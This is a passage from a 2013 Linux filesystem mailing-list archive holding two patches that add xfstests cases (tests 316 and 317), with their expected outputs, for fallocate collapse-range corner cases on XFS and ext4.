verify=NO) for ; Sun, 08 Sep 2013 06:42:45 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.180 Received: by mail-pd0-f180.google.com with SMTP id y10so5128429pdj.11 for ; Sun, 08 Sep 2013 06:42:44 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=LRfHCb52ffshapOU8MQoNc951Lhsf6NWv0GJtOMzO+8=; b=ZGPeFUfjZZ34xyMN5V2JsAmXGB8CpUhi5wP1/IsvB3Rwh8j1RePU2YixIVfktUJVhC T72dTMsv4Qd/9tWJGy4tqXOG+KjIIUtHL71N/0RekQPdRYU7HAXJjPrlCgtcCasbT0vy 7q/EI7W/xihNO7NrIFNj5Da++lV0xUfSBOwlc9HBm1wVNjH1cjT1mEwhmdQEw2O1ma+5 wn4GCY438ACKuNIE4zNhCCfbJ+N6sEdOW900up5gAatyUbnzZJZV9f45xMDt+zJYRfwV 6tlAjhQA8LQkEouS/Aik5rNUy9bDzBobjvVD3w89eRpZDr19EG6OD+UTmkLXi/diLOdC hVkg== X-Barracuda-BBL-IP: nil X-Received: by 10.68.59.98 with SMTP id y2mr2600370pbq.135.1378647764900; Sun, 08 Sep 2013 06:42:44 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.169]) by mx.google.com with ESMTPSA id k4sm5423410pbd.11.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Sep 2013 06:42:44 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.169 To: viro@zeniv.linux.org.uk, mtk.manpages@gmail.com, tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH v3 5/7] xfstest: Add test case to check various corner cases for collapsing range Date: Sun, 8 Sep 2013 22:42:36 +0900 X-ASG-Orig-Subj: [PATCH v3 5/7] xfstest: Add test case to check various corner cases for collapsing range Message-Id: <1378647756-2734-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f180.google.com[209.85.192.180] X-Barracuda-Start-Time: 1378647765 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140440 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This patch checks various corner cases for collapsing a range. This patch is based on generic/255 test case which checks various corner cases for punch hole. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- common/collapse | 264 ++++++++++++++++++++++++++++++++++++++++++++++++++ common/rc | 14 +++ tests/shared/316 | 70 +++++++++++++ tests/shared/316.out | 221 ++++++++++++++++++++++++++++++++++++++++++ tests/shared/group | 2 +- 5 files changed, 570 insertions(+), 1 deletion(-) create mode 100644 common/collapse create mode 100644 tests/shared/316 create mode 100644 tests/shared/316.out diff --git a/common/collapse b/common/collapse new file mode 100644 index 0000000..dd3be5e --- /dev/null +++ b/common/collapse @@ -0,0 +1,264 @@ +##/bin/bash +# +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +# Test procedure for checking collapse range feature + +# Test different corner cases for collapsing a range: +# +# 1. into a hole +# 2. into allocated space +# 3. into unwritten space +# 4. hole -> data +# 5. hole -> unwritten +# 6. data -> hole +# 7. data -> unwritten +# 8. unwritten -> hole +# 9. unwritten -> data +# 10. hole -> data -> hole +# 11. data -> hole -> data +# 12. unwritten -> data -> unwritten +# 13. data -> unwritten -> data +# 14. data -> hole @ EOF +# 15. data -> hole @ 0 +# 16. data -> cache cold ->hole +# +# Test file is removed, created and sync'd between tests. +# +# Use -k flag to keep the file between tests. This will +# test the handling of pre-existing holes. +# +# Use the -d flag to not sync the file between tests. +# This will test the handling of delayed extents +# +_test_generic_collapse() +{ + + remove_testfile=1 + sync_cmd="-c fsync" + OPTIND=1 + while getopts 'dk' OPTION + do + case $OPTION in + k) remove_testfile= + ;; + d) sync_cmd= + ;; + ?) echo Invalid flag + exit 1 + ;; + esac + done + shift $(($OPTIND - 1)) + + alloc_cmd=$1 + collapse_cmd=$2 + punch_cmd=$3 + map_cmd=$4 + filter_cmd=$5 + testfile=$6 + + echo " 1. into a hole" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "$collapse_cmd 16k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 2. into allocated space" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "pwrite 0 80k" $sync_cmd \ + -c "$collapse_cmd 16k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 3. into unwritten space" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "$alloc_cmd 0 80k" \ + -c "$collapse_cmd 16k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 4. hole -> data" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "pwrite 32k 32k" $sync_cmd \ + -c "$collapse_cmd 16k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 5. hole -> unwritten" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "$alloc_cmd 32k 32k" \ + -c "$collapse_cmd 16k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 6. data -> hole" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "pwrite 0 32k" $sync_cmd \ + -c "$collapse_cmd 16k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 7. data -> unwritten" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "pwrite 0 32k" $sync_cmd \ + -c "$alloc_cmd 32k 32k" \ + -c "$collapse_cmd 16k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 8. unwritten -> hole" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "$alloc_cmd 0 32k" \ + -c "$collapse_cmd 16k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 9. unwritten -> data" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "$alloc_cmd 0 32k" \ + -c "pwrite 32k 32k" $sync_cmd \ + -c "$collapse_cmd 16k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 10. hole -> data -> hole" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "pwrite 32k 16k" $sync_cmd \ + -c "$collapse_cmd 16k 48k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 11. data -> hole -> data" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "$alloc_cmd 0 80k" \ + -c "pwrite 0 32k" \ + -c "pwrite 48k 32k" $sync_cmd \ + -c "$punch_cmd 32k 16k" \ + -c "$collapse_cmd 8k 48k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 12. unwritten -> data -> unwritten" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "$alloc_cmd 0 80k" \ + -c "pwrite 32k 16k" $sync_cmd \ + -c "$collapse_cmd 16k 48k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 13. data -> unwritten -> data" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "$alloc_cmd 0 80k" \ + -c "pwrite 0k 32k" $sync_cmd \ + -c "pwrite 48k 32k" -c "fsync" \ + -c "$collapse_cmd 16k 48k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 14. data -> hole @ EOF" + rm -f $testfile + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "pwrite 0 80k" $sync_cmd \ + -c "$collapse_cmd 48k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 15. data -> hole @ 0" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "pwrite 0 80k" $sync_cmd \ + -c "$collapse_cmd 0k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 16. data -> cache cold ->hole" + if [ "$remove_testfile" ]; then + rm -f $testfile + rm -f $testfile.2 + else + cp $testfile $testfile.2 + fi + $XFS_IO_PROG -f -c "truncate 48k" \ + -c "pwrite 0k 48k" -c "fsync" $testfile.2 \ + > /dev/null + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "pwrite 0 80k" $sync_cmd \ + -c "$collapse_cmd 0k 32k" \ + -c "fadvise -d" \ + -c "$map_cmd -v" $testfile | $filter_cmd + diff $testfile $testfile.2 + [ $? -ne 0 ] && die_now + rm -f $testfile.2 + _md5_checksum $testfile + +} diff --git a/common/rc b/common/rc index 77e96c4..1779eed 100644 --- a/common/rc +++ b/common/rc @@ -1248,6 +1248,20 @@ _require_xfs_io_falloc_punch() _notrun "xfs_io fallocate punch command failed (no fs support?)" } +# check that xfs_io, kernel and filesystem all support fallocate with collapse +# range +_require_xfs_io_falloc_collapse() +{ + testfile=$TEST_DIR/$$.falloc + testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ + -c "fcollapse 4k 8k" $testfile 2>&1` + rm -f $testfile 2>&1 > /dev/null + echo $testio | grep -q "not found" && \ + _notrun "xfs_io fallocate collapse range support is missing" + echo $testio | grep -q "Operation not supported" && \ + _notrun "xfs_io fallocate collapse range failed (no fs support?)" +} + # check that xfs_io, kernel and filesystem support fiemap _require_xfs_io_fiemap() { diff --git a/tests/shared/316 b/tests/shared/316 new file mode 100644 index 0000000..66a8489 --- /dev/null +++ b/tests/shared/316 @@ -0,0 +1,70 @@ +#! /bin/bash +# FS QA Test No. 316 +# +# Test fallocate collapse range +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch +. ./common/collapse + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/316.$$ + +# Standard collapse range tests +_test_generic_collapse falloc fcollapse fpunch fiemap _filter_hole_fiemap $testfile + +# Delayed allocation collapse range tests +_test_generic_collapse -d falloc fcollapse fpunch fiemap _filter_hole_fiemap $testfile + +# Multi collapse tests +_test_generic_collapse -k falloc fcollapse fpunch fiemap _filter_hole_fiemap $testfile + +# Delayed allocation multi collapse range tests +_test_generic_collapse -d -k falloc fcollapse fpunch fiemap _filter_hole_fiemap $testfile + +status=0 ; exit diff --git a/tests/shared/316.out b/tests/shared/316.out new file mode 100644 index 0000000..09ebf0d --- /dev/null +++ b/tests/shared/316.out @@ -0,0 +1,221 @@ +QA output created by 316 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f4f35d60b3cc18aaa6d8d92f0cd3708a + 4. hole -> data +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 5. hole -> unwritten +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 10. hole -> data -> hole +bb7df04e1b0a2570657527a7e108ae23 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +bb7df04e1b0a2570657527a7e108ae23 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 16. data -> cache cold ->hole +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f4f35d60b3cc18aaa6d8d92f0cd3708a + 4. hole -> data +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 5. hole -> unwritten +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 10. hole -> data -> hole +bb7df04e1b0a2570657527a7e108ae23 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +bb7df04e1b0a2570657527a7e108ae23 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 16. data -> cache cold ->hole +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 1. into a hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f07217d5ac7ffa15dd8910c4aa912674 + 4. hole -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 5. hole -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 10. hole -> data -> hole +0: [0..31]: extent +1: [32..63]: hole +76cc863b386460b228a493933813a6a0 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +76cc863b386460b228a493933813a6a0 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 16. data -> cache cold ->hole +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 1. into a hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f07217d5ac7ffa15dd8910c4aa912674 + 4. hole -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 5. hole -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 10. hole -> data -> hole +0: [0..31]: extent +1: [32..63]: hole +76cc863b386460b228a493933813a6a0 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +76cc863b386460b228a493933813a6a0 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 16. data -> cache cold ->hole +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/group b/tests/shared/group index 0ad640b..3a69294 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -11,4 +11,4 @@ 289 auto quick 298 auto trim 305 aio dangerous enospc rw stress - +316 auto quick collapse -- 1.7.9.5 From linkinjeon@gmail.com Sun Sep 8 08:43:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8A37E7F5D for ; Sun, 8 Sep 2013 08:43:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7A995304039 for ; Sun, 8 Sep 2013 06:43:02 -0700 (PDT) X-ASG-Debug-ID: 1378647780-04cbb02c3be35370001-NocioJ Received: from mail-pb0-f43.google.com (mail-pb0-f43.google.com [209.85.160.43]) by cuda.sgi.com with ESMTP id 5ZqR0PzZFxzf2TGY (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Sep 2013 06:43:01 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.43 Received: by mail-pb0-f43.google.com with SMTP id md4so5068110pbc.16 for ; Sun, 08 Sep 2013 06:43:00 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=wDJRna9+Dxikt3Ds2iG925JIMZRoCXoIzrLGKzrlFIk=; b=h4y9cMHo+3TUglG9Cx0A4Gj+wUKYVqyeHcdT5NtoJ1LQVlWF1BiLa4nY6WaeaWGPtT ZjHcX+pERXaN9nSfJAjLxNDgDrgALTMU+WWU5ypag5gBkOJnLVWHb/SEFtiGOrLluJg5 ndhUpt5y2e80GRT7Z495IvyXoxotddeuUthUONhCZcCehg5qHxbnO3g4N3BKvNa4jIAR Kn90lKLNvYYbKW9j7MLMq+hFFE4IjUV7Cw04FBoHu8x1IrpxiYbUKF6qkChPTnrJVSgh wcGTTlQ7t660+Uscl7dAjISkWGuHmByj+FiuKcy/AGqAEaRwZTEGp9V+yQSEsmj7FyNL 5kUw== X-Barracuda-BBL-IP: nil X-Received: by 10.66.25.70 with SMTP id a6mr14582999pag.68.1378647780748; Sun, 08 Sep 2013 06:43:00 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.169]) by mx.google.com with ESMTPSA id ys4sm10132969pbb.9.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Sep 2013 06:43:00 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.169 To: viro@zeniv.linux.org.uk, mtk.manpages@gmail.com, tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH v3 6/7] xfstest: Add test case to test multiple collapse range call Date: Sun, 8 Sep 2013 22:42:51 +0900 X-ASG-Orig-Subj: [PATCH v3 6/7] xfstest: Add test case to test multiple collapse range call Message-Id: <1378647771-2768-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f43.google.com[209.85.160.43] X-Barracuda-Start-Time: 1378647781 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140440 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon We execute collapse range multiple times on same file. Each collapse range call collapses a single alternate block. After the test execution, file will be left with 80 blocks and as much number of extents. We also check for file system consistency after the completion. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- tests/shared/317 | 96 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/317.out | 85 ++++++++++++++++++++++++++++++++++++++++++++ tests/shared/group | 1 + 3 files changed, 182 insertions(+) create mode 100644 tests/shared/317 create mode 100644 tests/shared/317.out diff --git a/tests/shared/317 b/tests/shared/317 new file mode 100644 index 0000000..1d7c384 --- /dev/null +++ b/tests/shared/317 @@ -0,0 +1,96 @@ +#! /bin/bash +# FS QA Test No. 317 +# +# Test multiple fallocate collapse range calls +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_scratch +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse +_do_die_on_error=y +test=$SCRATCH_MNT/test +testfile=$SCRATCH_MNT/317.$$ +BSIZE=4096 +BLOCKS=10240 + +# Filters fiemap output +_filter_fiemap() +{ + awk --posix ' + $3 ~ /hole/ { + print $1, $2, $3; + next; + } + $5 ~ /0x[[:xdigit:]]+/ { + print $1, $2, "extent"; + }' +} + +case $FSTYP in + ext4) + export MKFS_OPTIONS="-F -b $BSIZE" + ;; + xfs) + export MKFS_OPTIONS="-f -b size=$BSIZE" + ;; +esac + +# make filesystem on scratch with 4KB blocksize +_do 'make filesystem on $SCRATCH_DEV' '_scratch_mkfs' +_do 'mount filesytem' '_scratch_mount' + +# Write file +length=$(($BLOCKS*$BSIZE)) +$XFS_IO_PROG -f -c "pwrite 0 $length" -c fsync $testfile > /dev/null + +# Collapse alternate blocks +for (( i = 1; i <= 7; i++ )); do + for(( j=0 ; j < $(($BLOCKS/(2**$i))) ; j++ )); do + offset=$(($j*$BSIZE)) + $XFS_IO_PROG -c "fcollapse $offset $BSIZE" $testfile > /dev/null + done +done + +# Check if 80 extents are present +$XFS_IO_PROG -c "fiemap -v" $testfile | _filter_fiemap + +_do 'unmount $SCRATCH_DEV' 'umount $SCRATCH_DEV' +_do 'repair filesystem' '_check_scratch_fs' + +# success, all done +status=0; exit diff --git a/tests/shared/317.out b/tests/shared/317.out new file mode 100644 index 0000000..836f0fe --- /dev/null +++ b/tests/shared/317.out @@ -0,0 +1,85 @@ +QA output created by 317 +make filesystem on $SCRATCH_DEV... done +mount filesytem... done +0: [0..7]: extent +1: [8..15]: extent +2: [16..23]: extent +3: [24..31]: extent +4: [32..39]: extent +5: [40..47]: extent +6: [48..55]: extent +7: [56..63]: extent +8: [64..71]: extent +9: [72..79]: extent +10: [80..87]: extent +11: [88..95]: extent +12: [96..103]: extent +13: [104..111]: extent +14: [112..119]: extent +15: [120..127]: extent +16: [128..135]: extent +17: [136..143]: extent +18: [144..151]: extent +19: [152..159]: extent +20: [160..167]: extent +21: [168..175]: extent +22: [176..183]: extent +23: [184..191]: extent +24: [192..199]: extent +25: [200..207]: extent +26: [208..215]: extent +27: [216..223]: extent +28: [224..231]: extent +29: [232..239]: extent +30: [240..247]: extent +31: [248..255]: extent +32: [256..263]: extent +33: [264..271]: extent +34: [272..279]: extent +35: [280..287]: extent +36: [288..295]: extent +37: [296..303]: extent +38: [304..311]: extent +39: [312..319]: extent +40: [320..327]: extent +41: [328..335]: extent +42: [336..343]: extent +43: [344..351]: extent +44: [352..359]: extent +45: [360..367]: extent +46: 